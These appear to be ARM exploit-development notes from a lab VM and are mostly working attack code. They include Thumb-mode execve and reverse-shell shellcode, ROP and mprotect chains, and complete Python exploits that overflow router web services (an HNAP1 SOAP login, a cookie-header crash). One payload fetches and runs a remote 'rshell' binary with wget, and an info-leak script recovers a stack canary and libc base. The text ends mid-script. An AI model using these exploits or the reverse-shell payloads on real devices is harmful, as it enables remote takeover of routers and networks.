#This outputs the full elf binaryarm-linux-gnueabi-as shell.s -o shell#This just gets the shellcode part of the binary (Removed the elf header)arm-linux-gnueabi-objcopy -O binary shell shell.bin#Convert to hex hexdump -v -e'"\\""x" 1/1 "%02x" ""' shell.bin > shell.hex
.section .text
.global _start
_start:
.code 32 //Switch to Thumb Mode
add r3, pc, #1
bx r3
.code 16 //Thumb Mode
adr r0, binsh //Set address to shell string
eor r2, r2 //Set R2 to zero
eor r1, r1 //Set R1 to zero
strb r2, [r0, #7] //Fix the X byte of the shelcode to a nullbyte
mov r7, #11 //Set the syscall number to 11 execve
svc #1 //Call Syscall
binsh:
.string "/bin/shX"
.section .text
.global _start
_start:
.arm //Switch to Thumb Mode
add r3, pc, #1
bx r3
.thumb //Thumb Mode
adr r0, binsh //Set address to shell string
eor r2, r2 //Set R2 to zero
strb r2, [r0, #7] //Fix the X byte of the shelcode to a nullbyte
push {r0, r2} //Push R0 and R2 on the stack creating an array of one element which is the binsh string
mov r1, r1 //Nop to allign the code
mov r1, sp //Copy the stack pointer to r1
mov r7, #11 //Set the syscall number to 11 execve
svc #1 //Call Syscall
binsh:
.string "/bin/shX"
Simple Reverse Shell:
.section .text
.global _start
_start:
.arm //Switch to Thumb Mode
add r3, pc, #1
bx r3
socket: //sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP)
.thumb
eor r2, r2 // Set r2 to zero This is the IPPROTO_IP (0x00)
adr r6, sockaddr // Set address of sockaddr to set the AF_NET
strb r2, [r6, #1] // Fix the 0xff byte of the shelcode to a nullbyte
ldrb r0, [r6,#0] // load the first byte of AF_INET from sockaddr into first argument
mov r1, #1 // Setting SOCK_STREAM = 0x01
mov r7, #255 //#281 can not be moved in a single instruction break into mov and add
add r7, #26 //256+25 = 281
svc #1 //Systemcall #281 for socket
mov r8, r0 //save the return socket file descriptor (r0) to r8
connect: //connect(sockfd, &addr, sizeof(addr))
.thumb
mov r1, r6 //Copy sockaddr to r1
strb r2, [r1, #6] // Fix the 0x01 byte of the ip address to a 0x00
mov r2, #16 //Set sizeof addr
add r7, #2 //Set connect syscall number(283) to 281+2
svc #1 //Systemcall #283 for connect
dup2_1:
.thumb
mov r0, r8 // Move the saved sockfd to arg0
eor r1, r1 // Set arg1 to 0
mov r7, #63 // Set syscall dup2
svc #1 //Systemcall #63 for dup2
dup2_2:
.thumb
mov r0, r8 // Move the saved sockfd to arg0
add r1, #1 //Set arg1 to (0+1) = 1
mov r7, #63 // Set syscall dup2
svc #1 //Systemcall #63 for dup2
dup2_3:
.thumb
mov r0, r8 // Move the saved sockfd to arg0
add r1, #1 //Set arg1 to (1+1) =2
mov r7, #63 // Set syscall dup2
svc #1 //Systemcall #63 for dup2
execve:
.thumb
adr r0, binsh //Set address to shell string
eor r2, r2 //Set R2 to zero
eor r1, r1 //Set R1 to zero
strb r2, [r0, #7] //Fix the X byte of the shelcode to a nullbyte
mov r7, #11 //Set the syscall number to 11 execve
svc #1 //Call Syscall
sockaddr:
.ascii "\x02" // AF_NET socket address family (2)
.ascii "\xff" // Replace 0xff with 0x00
.ascii "\x11\x5c" //Port number 4444
ip_addr:
.byte 192,168,1,254 //IP Address
binsh:
.ascii "/bin/shX"
gef➤ pattern create 2500[+] Generating a pattern of 2500 bytesaaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraab
Checking if Thumb mode is enabled:
gef➤ reg $cpsr$cpsr:[NEGATIVE zero carry overflow interrupt fast THUMB]
Checking Offset for patterns:
#Check for ARM Patterngef➤ pattern search $pc 2500[+] Searching '$pc'[+] Found at offset 128 (little-endian search)likely[+] Found at offset 704 (big-endian search)#Check for ARM pattern if in THUMB modegef➤ pattern search $pc+1 2500[+] Searching '$pc+1'[+] Found at offset 132 (little-endian search)likely[+] Found at offset 804 (big-endian search)
The Ret2Libc is just to put the ARM processor into THUMB mode which makes it easier to do shellcode.
Exploit Template for Executable Stack:
#!/usr/bin/python
fromstructimportpacklibc=0xb6ede000#libc base address
#Shellcode for Reverse shell
shellcode="\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x0b\xa1\x4a\x70\x0b\xa5\xaa\x70\x10\x22\x02\x37\x01\xdf\x3f\x27\x20\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x04\xa0\x92\x1a\x49\x1a\xc2\x71\x0b\x27\x01\xdf\x02\xff\x11\x5c\xc0\xa8\x01\xfe\x2f\x62\x69\x6e\x2f\x73\x68\x58"payload='A'*132# Padding until PC crashes
payload+=pack('<I',libc+0x8b29)# Gadget address for `blx sp`
payload+=shellcodeprintpayload
Since this is on the stack this can be done with a mov r0, sp
Since r4 is also pointing to the stack at offset 168 we can use that also
PC: Needs to point to the “system” function
Since there is no mov r0, sp gadgets we have to use something else. Since the r4 register also points into the stack on user controllable memory lets use that.
user@Azeria-Lab-VM:~/Downloads/libc$ readelf -a libc-2.27.so|grep system234: 000b9645 76 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@@GLIBC_2.4604: 0002d48d 28 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE1386: 0002d48d 28 FUNC WEAK DEFAULT 13 system@@GLIBC_2.4
Putting it all together:
#!/usr/bin/python
fromstructimportpack#Get the libc base address from vmmap
#Make sure it is an executable mapped memory region
libc=0xb6ede000#Padding from the pattern search
payload='A'*132# Padding for PC crash
#Get the first Gadget
#The first address is ARM mode. The second is THUMB mode
#0x00024d78 (0x00024d79): mov r0, r4; pop {r4, pc};
#This will move the r4 pointer that points into the stack into r0 which is needed for the system call
payload+=pack('<I',libc+0x00024d79)# First gadget
#More padding because the Gadget also pops memory from the stack into the r4 register overwriting it.
payload+='B'*4#This is the system address which will be the Program Counter Register.
payload+=pack('<I',libc+0x0002d48d)#More padding to get the initial r4 register to point to the "/bin/sh" string
#r4 is at offset 168 and the original padding is to 132.
# 168 = (132 padding) + (4 first gadget) + (4 possible second gadget 'BBBB') + (4 system address) + (24 padding)
payload+='C'*24payload+="/bin/sh"printpayload
#!/usr/bin/python
importurllib2fromstructimportpackopener=urllib2.build_opener()libc=0x4000e000# libc base address
#Initial Padding for Out of bounds read Crash
payload="A"*1024#Padding to prevent Out of bounds read Crash
#Since it is an subtraction we just put a -1 so that the value is not changed a lot
#This cant be 0x00000000 since that would be null terminating
payload+=pack('<I',0xFFFFFFFF)#Pattern for PC offset
payload+="aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab"xml_data="""<?xml version=\"1.0\" encoding=\"utf-8\"?>
<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"
xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">
<soap:Body>
<Login xmlns=\"http://purenetworks.com/HNAP1/\">
<Action>test</Action>
<Username>test</Username>
<LoginPassword></LoginPassword>
<Captcha>%s</Captcha>
</Login>
</soap:Body>
</soap:Envelope>"""%payloadreq=urllib2.Request(url="http://192.168.0.1/HNAP1/",data=xml_data,headers={'SOAPAction':'http://purenetworks.com/HNAP1/Login','Content-Type':'text/xml'})try:f=urllib2.urlopen(req)except:pass
Getting the offset from gef:
gef➤ pattern offset $pc[+] Searching '$pc'[+] Found at offset 20 (little-endian search)likely
Final Exploit with correct PC offset:
#!/usr/bin/python
importurllib2fromstructimportpackopener=urllib2.build_opener()libc=0x4000e000# libc base address
#Initial Padding for Out of bounds read Crash
payload="A"*1024#Padding to prevent Out of bounds read Crash
#Since it is an subtraction we just put a -1 so that the value is not changed a lot
#This cant be 0x00000000 since that would be null terminating
payload+=pack('<I',0xFFFFFFFF)#Padding inbetween the OoB Read Crash and the PC
payload+="B"*20#Program Counter
payload+="CCCC"xml_data="""<?xml version=\"1.0\" encoding=\"utf-8\"?>
<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"
xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">
<soap:Body>
<Login xmlns=\"http://purenetworks.com/HNAP1/\">
<Action>test</Action>
<Username>test</Username>
<LoginPassword></LoginPassword>
<Captcha>%s</Captcha>
</Login>
</soap:Body>
</soap:Envelope>"""%payloadreq=urllib2.Request(url="http://192.168.0.1/HNAP1/",data=xml_data,headers={'SOAPAction':'http://purenetworks.com/HNAP1/Login','Content-Type':'text/xml'})try:f=urllib2.urlopen(req)except:pass
(libuClibc-0.9.32.1.so/ELF/ARM)> search /1/ pop %r3%[INFO] Searching for gadgets: pop %r3%[INFO] File: ../libc/libuClibc-0.9.32.1.so0x00033e48: pop {r0, r1, r2, r3, r4, pc};0x00019744: pop {r0, r1, r2, r3, r4, r5, r6, pc};0x0003224c: pop {r0, r1, r2, r3, r4, r5, r7, pc};0x00015f0c: pop {r1, r2, r3, pc};0x00016654: pop {r1, r2, r3, r4, r5, pc};0x00034ae4: pop {r1, r2, r3, r4, r5, pc};bx lr;0x00014e40: pop {r1, r2, r3, r4, r5, r6, r7, pc};0x000169a0: pop {r2, r3, r4, pc};0x00041244: pop {r2, r3, r4, r5, r6, pc};0x00016ae8: pop {r2, r3, r4, r5, r7, pc};0x0005b014: pop {r2, r3};bx lr;0x00018298: pop {r3, pc};0x00042098: pop {r3, pc};bx lr;0x0001719c: pop {r3, r4, r5, pc};0x00015d40: pop {r3, r4, r5, r6, r7, pc};0x000153c8: pop {r3, r4, r7, pc};
Final Exploit with correct PC offset:
#!/usr/bin/python
importurllib2fromstructimportpackopener=urllib2.build_opener()libc=0x4000e000# libc base address
#Initial Padding for Out of bounds read Crash
payload="A"*1024#Padding to prevent Out of bounds read Crash
#Since it is an subtraction we just put a -1 so that the value is not changed a lot
#This cant be 0x00000000 since that would be null terminating
payload+=pack('<I',0xFFFFFFFF)#Padding inbetween the OoB Read Crash and the PC
payload+="B"*20# First Gadget 0x00018298: pop {r3, pc};
#This will set up a value that we can put in to r3
payload+=pack('<I',libc+0x00018298)#This is the value that we will load into r3
#This is the address for the system function
payload+=pack('<I',libc+0x0005a270)# System address
#This is the second Gadget this will set r0 to the sp.
# Then will branch into the r3 which we set in the first Gadget to the system address
# Second Gadget 0x00040cb8: mov r0, sp; blx r3;
payload+=pack('<I',libc+0x00040cb8)# When blx is executed r0 will point here
payload+="wget http://192.168.0.254/rshell -O /tmp/rshell && chmod +x /tmp/rshell && /tmp/rshell"xml_data="""<?xml version=\"1.0\" encoding=\"utf-8\"?>
<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"
xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">
<soap:Body>
<Login xmlns=\"http://purenetworks.com/HNAP1/\">
<Action>test</Action>
<Username>test</Username>
<LoginPassword></LoginPassword>
<Captcha>%s</Captcha>
</Login>
</soap:Body>
</soap:Envelope>"""%payloadreq=urllib2.Request(url="http://192.168.0.1/HNAP1/",data=xml_data,headers={'SOAPAction':'http://purenetworks.com/HNAP1/Login','Content-Type':'text/xml'})try:f=urllib2.urlopen(req)except:pass
This wont work with ASLR on since there are some hardcoded stack values in here
Mprotect Payload:
#!/usr/bin/pythonimport urllib2from struct import packopener = urllib2.build_opener()#base address from libc = 0x4000e000#shellcode for Reverse Shell Busybox versionshellcode = "\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x0d\xa1\x4a\x70\x0d\xa5\xaa\x70\x10\x22\x02\x37\x01\xdf\x3f\x27\x20\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x06\xa0\x92\x1a\x49\x1a\x01\x91\x02\x91\x01\x90\x01\xa9\xc2\x71\x0b\x27\x01\xdf\x02\xff\x11\x5c\xc0\xa8\x01\xfe\x2f\x62\x69\x6e\x2f\x73\x68\x58"#Initial Padding for Out of bounds read Crashpayload = "A"*1024#Padding to prevent Out of bounds read Crash#Since it is an subtraction we just put a -1 so that the value is not changed a lot#This cant be 0x00000000 since that would be null terminatingpayload += pack('<I',0xFFFFFFFF)#Padding inbetween the OoB Read Crash and the PCpayload += "B"*20# Setup Trap for lr# This sets the lr register to the next gadget on the stackpayload += pack('<I', libc + 0x00043330 ) # 0x00043330: pop {lr}; add sp, sp, #8; bx lr; # The lr register is now set to this next function: pop {r4, pc}; and not changedpayload += pack('<I', libc + 0x0002d350) # 0x0002d350: pop {r4, pc};payload += 'PPPP'#Padding from add sp, sp, #8payload += 'PPPP'#Padding from add sp, sp, #8payload += 'TTTT'#Garbage R4 value from trap function# Prepare R2 with the RWX value 0x7 using addition or subtractionpayload += pack('<I', libc + 0x00015f0c) # First R2=0x7 Gadget -> 0x00015f0c: pop {r1, r2, r3, pc}; payload += pack('<I', 0x11111111) # First large R1 valuepayload += pack('<I', 0xEEEEEEF6) # Second large R2 value#0x11111111 + 0xEEEEEEF6 = 0x100000007#This next part wont work with ASLR onpayload += pack('<I', 0xbefff258) #R3 stack value 0xbefd0110payload += pack('<I', libc + 0x00059f3c) # Second Gadget -> 0x00059f3c: add r2, r2, r1; str r2, [r3]; pop {r3, pc};#This next part wont work with ASLR onpayload += pack('<I', 0xbefff258) # Reset R3 Stack Value#Next gadgetpayload += pack('<I', libc + 0x0003db80) # Third Gadget -> 0x0003db80: pop {r0, pc}; payload += pack('<I', 0xfffff001) #0xfffff001 that will be used to get the page alignment This is poped in to the R0 registerpayload += pack('<I', libc + 0x00040634) # Fourth Gadget -> 0x00040634: and r0, r3, r0; bx lr;payload += 'EEEE'#garbage r4 from trappayload += pack('<I', libc + 0x00016760) # 0x00016760 # Mprotect addresspayload += 'EEEE'# Garbage R4 from trappayload += pack('<I', libc + 0x000061d5) #Last gadget for branch in to shellcode 0x000061d4 (0x000061d5): bx sp; # shellcode copy the hex string in the shellcode variable at the beginning of the scriptpayload += shellcodexml_data = """<?xml version=\"1.0\" encoding=\"utf-8\"?>
<soap:Envelope xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"
xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"
xmlns:soap=\"http://schemas.xmlsoap.org/soap/envelope/\">
<soap:Body>
<Login xmlns=\"http://purenetworks.com/HNAP1/\">
<Action>test</Action>
<Username>test</Username>
<LoginPassword></LoginPassword>
<Captcha>%s</Captcha>
</Login>
</soap:Body>
</soap:Envelope>"""% payloadreq = urllib2.Request(url= "http://192.168.0.1/HNAP1/",data=xml_data,headers={'SOAPAction': 'http://purenetworks.com/HNAP1/Login','Content-Type': 'text/xml'})try:f = urllib2.urlopen(req)except:pass
#!/usr/bin/python
importurllib2fromstructimportpackopener=urllib2.build_opener()payload="aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaabzaacbaaccaacdaaceaacfaacgaachaaciaacjaackaaclaacmaacnaacoaacpaacqaacraacsaactaacuaacvaacwaacxaacyaaczaadbaadcaaddaadeaadfaadgaadhaadiaadjaadkaadlaadmaadnaadoaadpaadqaadraadsaadtaaduaadvaadwaadxaadyaadzaaebaaecaaedaaeeaaefaaegaaehaaeiaaejaaekaaelaaemaaenaaeoaae"# Lets choose a memory address that has read access
# We choose 0x40073000 0x40074000 0x00021000 rw- /home/user/Tenda/squashfs-root/lib/libcommon.so
# Now we modify it a bit so their is no null bytes in the payload
payload+=pack('<I',0x40073001)payload+="qaaeraaesaaetaaeuaaevaaewaaexaaeyaaezaafbaafcaafdaafeaaffaafgaafhaafiaafjaafkaaflaafmaafnaafoaafpaafqaafraafsaaftaafuaafvaafwaafxaafyaafzaagbaagcaagdaageaagfaaggaaghaagiaagjaagkaaglaagmaagnaagoaagpaagqaagraagsaagtaaguaagvaagwaagxaagyaagzaahbaahcaahdaaheaahfaahgaahhaahiaahjaahkaahlaahmaahnaahoaahpaahqaahraahsaahtaahuaahvaahwaahxaahyaahzaaibaaicaaidaaieaaifaaigaaihaaiiaaijaaikaailaaimaainaaioaaipaaiqaairaaisaaitaaiuaaivaaiwaaixaaiyaaizaajbaajcaajdaajeaajfaajgaajhaajiaajjaajkaajlaajmaajnaajoaajpaajqaajraajsaajtaajuaajvaajwaajxaajyaaj"opener.addheaders.append(('Cookie','crash='+payload))try:f=opener.open("http://192.168.0.1")except:pass
Setup the lr register to a gadget to return back to the rop chain after
Finding ROP Chains:
user@Azeria-Lab-VM:~/Downloads/libc$ ropper --file ./libc.so.0 --console[INFO] Load gadgets from cache[LOAD] loading... 100%[LOAD] removing double gadgets... 100%(libc.so.0/ELF/ARM)> search add r2, r2, #0x20[INFO] Searching for gadgets: add r2, r2, #0x20[INFO] File: ./libc.so.00x00052974: add r2, r2, #0x20; and r0, r0, #3; add r0, r2, r0; pop {r4, pc}; (libc.so.0/ELF/ARM)> search /1/ mov r0, sp[INFO] Searching for gadgets: mov r0, sp[INFO] File: ./libc.so.00x00040cb8: mov r0, sp;blx r3;(libc.so.0/ELF/ARM)> search and r0, r0, r5[INFO] Searching for gadgets: and r0, r0, r5[INFO] File: ./libc.so.00x0001908c: and r0, r0, r5;pop{r3, r4, r5, pc};(libc.so.0/ELF/ARM)> arch ARMTHUMB[INFO] Load gadgets from cache[LOAD] loading... 100%[LOAD] removing double gadgets... 100%(libc.so.0/ELF/ARMTHUMB)> search bx sp[INFO] Searching for gadgets: bx sp[INFO] File: ./libc.so.00x000061d4 (0x000061d5): bx sp;
Adding to the payload:
#!/usr/bin/python
importurllib2importsysfromstructimportpackopener=urllib2.build_opener()defpack_input(input):returnpack('<I',input)#base address for libc.so.0
#0x401eb000 0x40250000 0x00000000 r-x /home/user/Tenda/squashfs-root/lib/libc.so.0
libc_base=0x401eb000mprotect_address=0x00016760shellcode="\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\xdf\x04\x1c\x0e\xa1\x4a\x70\x8a\x71\x10\x22\x02\x37\x01\xdf\xc0\x46\xc0\x46\xc0\x46\x3f\x27\x20\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x21\x01\xdf\x20\x1c\x02\x21\x01\xdf\x06\xa0\x92\x1a\x49\x1a\x01\x91\x02\x91\x01\x90\x01\xa9\xc2\x71\x0b\x27\x01\xdf\x02\xff\x11\x5c\xc0\xa8\x01\xfe\x2f\x62\x69\x6e\x2f\x73\x68\x58"payload="A"*440# This value will be in R4
payload+="BBBB"# This value will be in R5
payload+="CCCC"# This value will be in R6
payload+="DDDD"# This value will be in R7
payload+="EEEE"# This value will be in R11 and PC
# This will be the first thing executed in the ROP chain
# Set up trap on R3
# 0x00018298: pop {r3, pc};
payload+=pack('<I',libc_base+0x00018298)# This is the value that needs to be in a readable location
# lets choose an offset from libc.so since we already have that address hard coded
# Their must be no null bytes in the payload
# Since this will also be put in the r3 register and used for the blx jump lets set up the second gadget in the ROP chain
# This will also be put in to r3
# Trap Gadget
# 0x00014b04: pop {r7, pc};
payload+=pack('<I',libc_base+0x00014b04)### SETTING THE PROTECTION FLAG (r2=7)
# Lets get the Values in to R1 and R2 that when subtracted equal 7
# 0x00015f0c: pop {r1, r2, r3, pc};
payload+=pack('<I',libc_base+0x00015f0c)#Trash that will be put in r1
payload+="FFFF"# 0x07 - 0x20 underflow value for R2
payload+=pack('<I',(0xFFFFFFFF-(0x20-7-1)))# Overwrite the trap gadget with the same trap gadget
# Trap Gadget
# 0x00014b04: pop {r7, pc};
payload+=pack('<I',libc_base+0x00014b04)#0x00052974: add r2, r2, #0x20; and r0, r0, #3; add r0, r2, r0; pop {r4, pc};
payload+=pack('<I',libc_base+0x00052974)#Garbage that is put in to R4
payload+="GGGG"### FINISHED SETTING THE PROTECTION FLAG
### STARTING THE STACK VALUE WITH OFFSET TO R0
#Trap Gadget
#0x00040cb8: mov r0, sp; blx r3;
payload+=pack('<I',libc_base+0x00040cb8)#Garbage that is put in to R7 by trap gadget
payload+="HHHH"#0x00015210: pop {r4, r5, pc};
payload+=pack('<I',libc_base+0x00015210)#Garbage that is put in to R4
payload+="IIII"#0xfffff001 that will be used to get the page alignment This is popped in to the R5 register
payload+=pack('<I',0xfffff001)#0x0001908c: and r0, r0, r5; pop {r3, r4, r5, pc};
payload+=pack('<I',libc_base+0x0001908c)payload+="JJJJ"payload+="KKKK"payload+="LLLL"### FINISHED SETTING THE STACK VALUE WITH OFFSET TO R0
# Setting the length for MProtect
# 0x0005b028: pop {r1, pc};
# This will also be the length for the mprotect
payload+=pack('<I',libc_base+0x0005b028)payload+=pack('<I',0x01010101)#Set the lr register for the return from mprotect
# 0x00043330: pop {lr}; add sp, sp, #8; bx lr;
payload+=pack('<I',libc_base+0x00043330)#0x00014b04: pop {r7, pc};
payload+=pack('<I',libc_base+0x00014b04)#padding for the Stack increase
payload+="MMMM"payload+="NNNN"#garbage value to be put in to r7
payload+="OOOO"#Mprotect offset
payload+=pack('<I',libc_base+mprotect_address)#garbage value to be put in to r7
payload+="OOOO"# 0x000061d5: bx sp;
payload+=pack('<I',libc_base+0x000061d5)payload+=shellcodeopener.addheaders.append(('Cookie','crash='+payload))try:f=opener.open("http://192.168.0.1")except:print("Unexpected error:",sys.exc_info()[0])raise
#!/usr/bin/python
importsocketimportsysfromstructimportpackfromstructimportunpack# helper function to read incoming data as uint32_ts, returned as an
# indexable array.
defrecv_uint32s(sock,nInts):r=[0]*nInts#print("Receving {}".format(nInts))
foriinrange(nInts):r[i]=unpack('<I',sock.recv(4))[0]returnrif__name__=='__main__':ping_header_size=12data='B'*16number_to_receve=64# connect to the ping server
sock1=socket.socket(socket.AF_INET,socket.SOCK_STREAM)sock1.connect(('192.168.0.1',9999))# build a ping:
ping=pack('<I',0x11223344)# ping magic bytes 11223344
ping+=pack('<I',ping_header_size+len(data))# ping data size = header + data_length
ping+=pack('<I',number_to_receve*4)# ping
ping+=data# 8 bytes of ping data
sock1.sendall(ping)# wait for the result
stack_values=recv_uint32s(sock1,number_to_receve)# wait for 2 uint_32ts (8 bytes) to be
# returned. x is an array, i.e. x[0] is
# the first element, x[1] is the second.
fori,xinenumerate(stack_values):print"Reading from stack index: {0} , value: {1:x}".format(i,x)
First Output:
user@Azeria-Lab-VM:~/Downloads/infoleak$ python ping-leaking.py Reading from stack index: 0 , value: 42424242Reading from stack index: 1 , value: 42424242Reading from stack index: 2 , value: 42424242Reading from stack index: 3 , value: 42424242Reading from stack index: 4 , value: 45ceb400Reading from stack index: 5 , value: 0Reading from stack index: 6 , value: 44b000Reading from stack index: 7 , value: bed7e598Reading from stack index: 8 , value: 43a96fReading from stack index: 9 , value: 4Reading from stack index: 10 , value: 885Reading from stack index: 11 , value: 1Reading from stack index: 12 , value: 10Reading from stack index: 13 , value: 3Reading from stack index: 14 , value: 0Reading from stack index: 15 , value: 0Reading from stack index: 16 , value: 0Reading from stack index: 17 , value: 4Reading from stack index: 18 , value: 3cb50002Reading from stack index: 19 , value: fe00a8c0Reading from stack index: 20 , value: 0Reading from stack index: 21 , value: 0Reading from stack index: 22 , value: 45ceb400Reading from stack index: 23 , value: 0Reading from stack index: 24 , value: bed7e5e8Reading from stack index: 25 , value: 0Reading from stack index: 26 , value: b6eab067Reading from stack index: 27 , value: b6f88000Reading from stack index: 28 , value: bed7e724Reading from stack index: 29 , value: 1Reading from stack index: 30 , value: 43a861Reading from stack index: 31 , value: 2573e36bReading from stack index: 32 , value: 2d4eb688Reading from stack index: 33 , value: 0Reading from stack index: 34 , value: 43a9b5Reading from stack index: 35 , value: b6f88000Reading from stack index: 36 , value: 0Reading from stack index: 37 , value: 0Reading from stack index: 38 , value: 0Reading from stack index: 39 , value: 44b000Reading from stack index: 40 , value: 0Reading from stack index: 41 , value: 0Reading from stack index: 42 , value: 0Reading from stack index: 43 , value: 0Reading from stack index: 44 , value: 0Reading from stack index: 45 , value: 0Reading from stack index: 46 , value: 0Reading from stack index: 47 , value: 0Reading from stack index: 48 , value: 0Reading from stack index: 49 , value: 0Reading from stack index: 50 , value: 0Reading from stack index: 51 , value: 0Reading from stack index: 52 , value: 0Reading from stack index: 53 , value: 0Reading from stack index: 54 , value: 0Reading from stack index: 55 , value: 0Reading from stack index: 56 , value: 0Reading from stack index: 57 , value: 1Reading from stack index: 58 , value: b6fb5970Reading from stack index: 59 , value: b6fb5b28Reading from stack index: 60 , value: b6fb5b28Reading from stack index: 61 , value: 20Reading from stack index: 62 , value: bed7e72cReading from stack index: 63 , value: 0
Kill the server and restart it to find what values have changed and which have stayed the same
Second Output:
user@Azeria-Lab-VM:~/Downloads/infoleak$ python ping-leaking.py Reading from stack index: 0 , value: 42424242Reading from stack index: 1 , value: 42424242Reading from stack index: 2 , value: 42424242Reading from stack index: 3 , value: 42424242Reading from stack index: 4 , value: 37f1b400Reading from stack index: 5 , value: 0Reading from stack index: 6 , value: 4f1000Reading from stack index: 7 , value: bedcd598Reading from stack index: 8 , value: 4e096fReading from stack index: 9 , value: 4Reading from stack index: 10 , value: 885Reading from stack index: 11 , value: 1Reading from stack index: 12 , value: 10Reading from stack index: 13 , value: 3Reading from stack index: 14 , value: 0Reading from stack index: 15 , value: 0Reading from stack index: 16 , value: 0Reading from stack index: 17 , value: 4Reading from stack index: 18 , value: 40b50002Reading from stack index: 19 , value: fe00a8c0Reading from stack index: 20 , value: 0Reading from stack index: 21 , value: 0Reading from stack index: 22 , value: 37f1b400Reading from stack index: 23 , value: 0Reading from stack index: 24 , value: bedcd5e8Reading from stack index: 25 , value: 0Reading from stack index: 26 , value: b6ecf067Reading from stack index: 27 , value: b6fac000Reading from stack index: 28 , value: bedcd724Reading from stack index: 29 , value: 1Reading from stack index: 30 , value: 4e0861Reading from stack index: 31 , value: 59ed4c65Reading from stack index: 32 , value: 51dd6986Reading from stack index: 33 , value: 0Reading from stack index: 34 , value: 4e09b5Reading from stack index: 35 , value: b6fac000Reading from stack index: 36 , value: 0Reading from stack index: 37 , value: 0Reading from stack index: 38 , value: 0Reading from stack index: 39 , value: 4f1000Reading from stack index: 40 , value: 0Reading from stack index: 41 , value: 0Reading from stack index: 42 , value: 0Reading from stack index: 43 , value: 0Reading from stack index: 44 , value: 0Reading from stack index: 45 , value: 0Reading from stack index: 46 , value: 0Reading from stack index: 47 , value: 0Reading from stack index: 48 , value: 0Reading from stack index: 49 , value: 0Reading from stack index: 50 , value: 0Reading from stack index: 51 , value: 0Reading from stack index: 52 , value: 0Reading from stack index: 53 , value: 0Reading from stack index: 54 , value: 0Reading from stack index: 55 , value: 0Reading from stack index: 56 , value: 0Reading from stack index: 57 , value: 1Reading from stack index: 58 , value: b6fd9970Reading from stack index: 59 , value: b6fd9b28Reading from stack index: 60 , value: b6fd9b28Reading from stack index: 61 , value: 20Reading from stack index: 62 , value: bedcd72cReading from stack index: 63 , value: 0
Looking at the values
Index 4 == index 22 but change when the server is restarted
Index 26, 58, 59, 60 are in the libc address range are are good to get the base offset from
#!/usr/bin/python
importsocketimportsysfromstructimportpackfromstructimportunpack# helper function to read incoming data as uint32_ts, returned as an
# indexable array.
defrecv_uint32s(sock,nInts):r=[0]*nInts#print("Receving {}".format(nInts))
foriinrange(nInts):r[i]=unpack('<I',sock.recv(4))[0]returnrif__name__=='__main__':ping_header_size=12data='B'*16number_to_receve=64# connect to the ping server
sock1=socket.socket(socket.AF_INET,socket.SOCK_STREAM)sock1.connect(('192.168.0.1',9999))# build a ping:
ping=pack('<I',0x11223344)# ping magic bytes 11223344
ping+=pack('<I',ping_header_size+len(data))# ping data size = header + data_length
ping+=pack('<I',number_to_receve*4)# ping
ping+=data# 8 bytes of ping data
sock1.sendall(ping)# wait for the result
stack_values=recv_uint32s(sock1,number_to_receve)#for i, x in enumerate(stack_values):
# if x[i] != 0:
# print "Reading from stack index: {0} , value: {1:x}".format(i, x)
stack_canary=x[22]print("Stack Cannary: 0x{:x}".format(stack_canary))libc_info_leak=x[26]print("Stack Info Leak: 0x{:x}".format(libc_info_leak))# user@azeria-labs-arm:~$ cat /proc/422/maps
# b6e94000-b6f76000 r-xp 00000000 fe:02 10883 /lib/arm-linux-gnueabihf/libc-2.27.so
## Reading from stack index: 26 , value: b6ecf067
libc_offset=0x0003B067# From 0xb6e94000 - 0xb6ecf067
libc_base_address=libc_info_leak-libc_offsetprint("Libc Offset: 0x{:x}".format(libc_base_address))#Starting Second Ping Request
# Padding
data2='A'*16# Stack Canary from info leak
data2+=pack('<I',stack_canary)# Padding between stack cannary and r4
data2+='BBBB'#Padding for the R4 address
data2+='4444'#Padding for the R7 address
data2+='7777'# First Gadget to set R3 Trap function -> 0x0002456e (0x0002456f): pop {r3, pc};
data2+=pack('<I',libc_base_address+0x0002456f)# Set Trap function in R3 -> 0x0001774a (0x0001774b): pop {r4, pc};
data2+=pack('<I',libc_base_address+0x0001774b)# Second Gadget to get sp to r1 -> 0x000755f4 (0x000755f5): mov r1, sp; blx r3;
